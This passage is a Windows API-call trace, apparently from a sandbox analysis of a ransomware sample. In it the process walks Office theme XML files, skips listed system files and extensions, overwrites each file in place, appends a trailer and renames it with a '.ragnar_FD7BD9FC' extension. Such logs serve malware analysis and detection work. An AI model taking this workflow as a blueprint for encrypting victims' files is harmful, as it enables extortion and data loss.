nNumberOfBytesToLockHigh=0x0) returned 1 [0093.600] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3bf, lpOverlapped=0x0) returned 1 [0093.600] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.600] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.601] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.601] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.601] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.601] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.601] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.601] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.601] GetProcessHeap () returned 0x580000 [0093.601] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.601] CloseHandle (hObject=0x10c) returned 1 [0093.601] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" [0093.601] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.ragnar_FD7BD9FC" [0093.601] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0093.602] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.602] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Foundry.xml" | out: lpString1="Foundry.xml") returned="Foundry.xml" [0093.602] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml") returned=".xml" [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="autorun.inf") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="boot.ini") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootfont.bin") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootsect.bak") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr.efi") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgfw.efi") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="desktop.ini") returned 1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="iconcache.db") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntldr") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat.log") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.ini") returned -1 [0093.602] lstrcmpiW (lpString1="Foundry.xml", lpString2="thumbs.db") returned -1 [0093.602] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.602] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.602] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.602] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.602] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.603] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.603] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml")) returned 0x20 [0093.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.603] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=962) returned 1 [0093.603] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.603] GetProcessHeap () returned 0x580000 [0093.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.603] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.605] VirtualAlloc (lpAddress=0x0, dwSize=0x3c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.605] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.605] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.605] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c2, lpOverlapped=0x0) returned 1 [0093.605] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.605] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.605] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c2, lpOverlapped=0x0) returned 1 [0093.605] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.606] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.606] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.606] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.606] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.606] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.606] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.606] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.606] GetProcessHeap () returned 0x580000 [0093.606] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.606] CloseHandle (hObject=0x10c) returned 1 [0093.606] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" [0093.606] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.ragnar_FD7BD9FC" [0093.606] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0093.607] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.607] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Grayscale.xml" | out: lpString1="Grayscale.xml") returned="Grayscale.xml" [0093.607] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml") returned=".xml" [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="autorun.inf") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="boot.ini") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootfont.bin") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootsect.bak") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootmgr") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootmgr.efi") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="bootmgfw.efi") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="desktop.ini") returned 1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="iconcache.db") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ntldr") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ntuser.dat") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ntuser.dat.log") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="ntuser.ini") returned -1 [0093.607] lstrcmpiW (lpString1="Grayscale.xml", lpString2="thumbs.db") returned -1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.608] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml")) returned 0x20 [0093.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.609] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=928) returned 1 [0093.609] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x397, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.609] GetProcessHeap () returned 0x580000 [0093.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.609] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.610] VirtualAlloc (lpAddress=0x0, dwSize=0x3a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.611] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a0, lpOverlapped=0x0) returned 1 [0093.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.611] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.611] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a0, lpOverlapped=0x0) returned 1 [0093.611] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.611] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.611] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.611] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.611] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.612] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.612] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.612] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.612] GetProcessHeap () returned 0x580000 [0093.612] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.612] CloseHandle (hObject=0x10c) returned 1 [0093.612] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" [0093.612] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.ragnar_FD7BD9FC" [0093.612] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0093.613] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.613] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Grid.xml" | out: lpString1="Grid.xml") returned="Grid.xml" [0093.613] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml") returned=".xml" [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="autorun.inf") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="boot.ini") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="bootfont.bin") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="bootsect.bak") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr.efi") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgfw.efi") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="desktop.ini") returned 1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="iconcache.db") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="ntldr") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat.log") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.ini") returned -1 [0093.613] lstrcmpiW (lpString1="Grid.xml", lpString2="thumbs.db") returned -1 [0093.613] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.613] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.613] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.613] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.613] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.614] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.614] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml")) returned 0x20 [0093.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.614] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=959) returned 1 [0093.614] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.614] GetProcessHeap () returned 0x580000 [0093.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.614] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.616] VirtualAlloc (lpAddress=0x0, dwSize=0x3bf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.616] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.616] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.616] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3bf, lpOverlapped=0x0) returned 1 [0093.616] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.616] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.616] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3bf, lpOverlapped=0x0) returned 1 [0093.616] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.616] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.617] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.617] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.617] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 